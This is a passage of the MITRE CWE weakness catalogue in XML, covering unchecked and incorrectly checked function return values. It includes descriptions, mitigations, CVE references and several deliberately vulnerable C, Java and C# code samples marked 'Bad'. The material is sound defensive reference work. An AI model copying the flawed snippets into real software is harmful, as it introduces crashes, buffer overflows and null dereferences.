            <Related_Weakness Nature="CanPrecede" CWE_ID="476" View_ID="1000" Chain_ID="690"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Background_Details>
            <Background_Detail>Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.</Background_Detail>
         </Background_Details>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Detection_Methods>
           <Detection_Method Detection_Method_ID="DM-14">
             <Method>Automated Static Analysis</Method>
             <Description>Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)</Description>
             <Effectiveness>High</Effectiveness>
           </Detection_Method>
         </Detection_Methods>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-53">
               <Phase>Implementation</Phase>
               <Description>Check the results of all functions that return a value and verify that the value is expected.</Description>
               <Effectiveness>High</Effectiveness>
               <Effectiveness_Notes>Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.</Effectiveness_Notes>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Ensure that you account for all possible return values from the function.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When designing a function, make sure you return a value or throw an exception in case of an error.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-7">
               <Intro_Text>Consider the following code segment:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>char buf[10], cp_buf[10];<xhtml:br/>fgets(buf, 10, stdin);<xhtml:br/>strcpy(cp_buf, buf);</xhtml:div>
               </Example_Code>
               <Body_Text>The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-114">
               <Intro_Text>In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>int returnChunkSize(void *) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>
                           <xhtml:br/>
                           <xhtml:i>/* if chunk info is valid, return the size of usable memory,</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>* else, return -1 to indicate an error</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>*/</xhtml:i>
                           <xhtml:br/>...</xhtml:div>
                     </xhtml:div>}<xhtml:br/>int main() {<xhtml:div style="margin-left:1em;">...<xhtml:br/>memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));<xhtml:br/>...</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-8">
               <Intro_Text>The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>buf = (char*) malloc(req_size);<xhtml:br/>strncpy(buf, xfer, req_size);</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:</Body_Text>
               <Body_Text>
                  <xhtml:ul>
                     <xhtml:li>
                        <xhtml:div>Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.</xhtml:div>
                     </xhtml:li>
                     <xhtml:li>
                        <xhtml:div>The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.</xhtml:div>
                     </xhtml:li>
                  </xhtml:ul>
               </Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-9">
               <Intro_Text>The following examples read a file into a byte array.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>char[] byteArray = new char[1024];<xhtml:br/>for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {<xhtml:div style="margin-left:1em;">String userName = (String) i.Current();<xhtml:br/>String pFileName = PFILE_ROOT + "/" + userName;<xhtml:br/>StreamReader sr = new StreamReader(pFileName);<xhtml:br/>sr.Read(byteArray,0,1024);//the file is always 1k bytes<xhtml:br/>sr.Close();<xhtml:br/>processPFile(userName, byteArray);</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>FileInputStream fis;<xhtml:br/>byte[] byteArray = new byte[1024];<xhtml:br/>for (Iterator i=users.iterator(); i.hasNext();) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>String userName = (String) i.next();<xhtml:br/>String pFileName = PFILE_ROOT + "/" + userName;<xhtml:br/>FileInputStream fis = new FileInputStream(pFileName);<xhtml:br/>fis.read(byteArray); // the file is always 1k bytes<xhtml:br/>fis.close();<xhtml:br/>processPFile(userName, byteArray);<xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
               <Body_Text>The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-10">
               <Intro_Text>The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String itemName = request.getParameter(ITEM_NAME);<xhtml:br/>if (itemName.compareTo(IMPORTANT_ITEM) == 0) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.</Body_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>String itemName = request.Item(ITEM_NAME);<xhtml:br/>if (itemName.Equals(IMPORTANT_ITEM)) {<xhtml:div style="margin-left:1em;">...</xhtml:div>}<xhtml:br/>...</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-11">
               <Intro_Text>The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>System.clearProperty("os.name");<xhtml:br/>...<xhtml:br/>String os = System.getProperty("os.name");<xhtml:br/>if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");</xhtml:div>
               </Example_Code>
               <Body_Text>The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-12">
               <Intro_Text>The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.</Intro_Text>
               <Example_Code Nature="Bad" Language="C#">
                  <xhtml:div>Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)<xhtml:br/>Dim MyArray(50) As Byte<xhtml:br/>MyFile.Read(MyArray, 0, 50)<xhtml:br/>DoDangerousOperation(MyArray(20))</xhtml:div>
               </Example_Code>
               <Body_Text>In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example>
               <Intro_Text>It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.</Intro_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-1">
               <Intro_Text>This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void host_lookup(char *user_supplied_addr){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>struct hostent *hp;<xhtml:br/>in_addr_t *addr;<xhtml:br/>char hostname[64];<xhtml:br/>in_addr_t inet_addr(const char *cp);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/*routine that ensures user_supplied_addr is in the right format for conversion */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>validate_addr_form(user_supplied_addr);<xhtml:br/>addr = inet_addr(user_supplied_addr);<xhtml:br/>hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);<xhtml:br/>strcpy(hostname, hp-&gt;h_name);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference
	       (CWE-476) would then occur in the call to strcpy().</Body_Text>
               <Body_Text>Note that this code is also vulnerable to a buffer overflow (CWE-119).</Body_Text>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-24">
               <Intro_Text>The following function attempts to acquire a lock in order to perform operations on a shared resource.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>void f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>pthread_mutex_lock(mutex);<xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.</Body_Text>
               <Body_Text>In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.</Body_Text>
               <Example_Code Nature="Good" Language="C">
                  <xhtml:div>int f(pthread_mutex_t *mutex) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>int result;<xhtml:br/>
                           <xhtml:br/>result = pthread_mutex_lock(mutex);<xhtml:br/>if (0 != result)<xhtml:div style="margin-left:1em;">return result;</xhtml:div>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:i>/* access shared resource */</xhtml:i>
                           <xhtml:br/>
                           <xhtml:br/>
                           <xhtml:br/>return pthread_mutex_unlock(mutex);</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2020-17533</Reference>
               <Description>Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-17533</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2020-6078</Reference>
               <Description>Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476)</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2020-6078</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2019-15900</Reference>
               <Description>Chain: sscanf() call is used to check if a username and group exists, but the return value of sscanf() call is not checked (CWE-252), causing an uninitialized variable to be checked (CWE-457), returning success to allow authorization bypass for executing a privileged (CWE-863).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2019-15900</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2007-3798</Reference>
               <Description>Unchecked return value leads to resultant integer overflow and code execution.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2007-3798</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-4447</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-4447</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2006-2916</Reference>
               <Description>Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2006-2916</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2008-5183</Reference>
               <Description>chain: unchecked return value can lead to NULL dereference</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2008-5183</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2010-0211</Reference>
               <Description>chain: unchecked return value (CWE-252) leads to free of invalid, uninitialized pointer (CWE-824).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2010-0211</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2017-6964</Reference>
               <Description>Linux-based device mapper encryption program does not check the return value of setuid and setgid allowing attackers to execute code with unintended privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2017-6964</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="7 Pernicious Kingdoms">
               <Entry_Name>Unchecked Return Value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Ignored function return value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OWASP Top Ten 2004">
               <Entry_ID>A7</Entry_ID>
               <Entry_Name>Improper Error Handling</Entry_Name>
               <Mapping_Fit>CWE More Specific</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR33-C</Entry_ID>
               <Entry_Name>Detect and handle standard library errors</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS54-C</Entry_ID>
               <Entry_Name>Detect and handle POSIX library errors</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>EXP00-J</Entry_ID>
               <Entry_Name>Do not ignore values returned by methods</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="SEI CERT Perl Coding Standard">
               <Entry_ID>EXP32-PL</Entry_ID>
               <Entry_Name>Do not ignore function return values</Entry_Name>
               <Mapping_Fit>Exact</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCSM">
                <Entry_ID>ASCSM-CWE-252-resource</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-252-data</Entry_ID>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="OMG ASCRM">
                <Entry_ID>ASCRM-CWE-252-resource</Entry_ID>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-6"/>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Program Building Blocks&#34; Page 341"/>
            <Reference External_Reference_ID="REF-7" Section="Chapter 20, &#34;Checking Returns&#34; Page 624"/>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-252-data"/>
            <Reference External_Reference_ID="REF-961" Section="ASCRM-CWE-252-resource"/>
            <Reference External_Reference_ID="REF-962" Section="ASCSM-CWE-252-resource"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-01-12</Modification_Date>
               <Modification_Comment>updated Background_Details, Demonstrative_Examples, Description, Observed_Examples, Other_Notes, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-09-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-09-13</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, References, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, References, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated References, Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-06-25</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples, Observed_Examples, Relationships, Weakness_Ordinalities</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-07-20</Modification_Date>
					<Modification_Comment>updated Observed_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-01-31</Modification_Date>
					<Modification_Comment>updated Description</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
				</Modification>
            <Contribution Type="Content">
               <Contribution_Name>Martin Sebor</Contribution_Name>
               <Contribution_Organization>Cisco Systems, Inc.</Contribution_Organization>
               <Contribution_Date>2010-04-30</Contribution_Date>
               <Contribution_Comment>Provided Demonstrative Example and suggested CERT reference</Contribution_Comment>
            </Contribution>
         </Content_History>
      </Weakness>
      <Weakness ID="253" Name="Incorrect Check of Function Return Value" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>The product incorrectly checks a return value from a function, which prevents it from detecting errors or exceptional conditions.</Description>
         <Extended_Description>Important and common functions will return some value about the success of its actions. This will alert the program whether or not to handle any errors caused by that function.</Extended_Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="573" View_ID="1000" Ordinal="Primary"/>
            <Related_Weakness Nature="ChildOf" CWE_ID="754" View_ID="1000"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>Low</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Availability</Scope>
               <Scope>Integrity</Scope>
               <Impact>Unexpected State</Impact>
               <Impact>DoS: Crash, Exit, or Restart</Impact>
               <Note>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation>
               <Phase>Architecture and Design</Phase>
               <Strategy>Language Selection</Strategy>
               <Description>Use a language or compiler that uses exceptions and requires the catching of those exceptions.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>Properly check all functions which return a value.</Description>
            </Mitigation>
            <Mitigation>
               <Phase>Implementation</Phase>
               <Description>When designing any function make sure you return a value or throw an exception in case of an error.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example>
               <Intro_Text>This code attempts to allocate memory for 4 integers and checks if the allocation succeeds.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>tmp = malloc(sizeof(int) * 4);<xhtml:br/>if (tmp &lt; 0 ) {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>perror("Failure");<xhtml:br/>
                           <xhtml:i>//should have checked if the call returned 0</xhtml:i>
                           <xhtml:br/>
                        </xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>The code assumes that only a negative return value would indicate an error, but malloc() may return a null pointer when there is an error. The value of tmp could then be equal to 0, and the error would be missed.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="CLASP">
               <Entry_Name>Misinterpreted function return value</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="Software Fault Patterns">
               <Entry_ID>SFP4</Entry_ID>
               <Entry_Name>Unchecked Status Condition</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>ERR33-C</Entry_ID>
               <Entry_Name>Detect and handle standard library errors</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="CERT C Secure Coding">
               <Entry_ID>POS54-C</Entry_ID>
               <Entry_Name>Detect and handle POSIX library errors</Entry_Name>
               <Mapping_Fit>Imprecise</Mapping_Fit>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-62" Section="Chapter 7, &#34;Return Value Testing and Interpretation&#34;, Page 340"/>
            <Reference External_Reference_ID="REF-18"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>CLASP</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
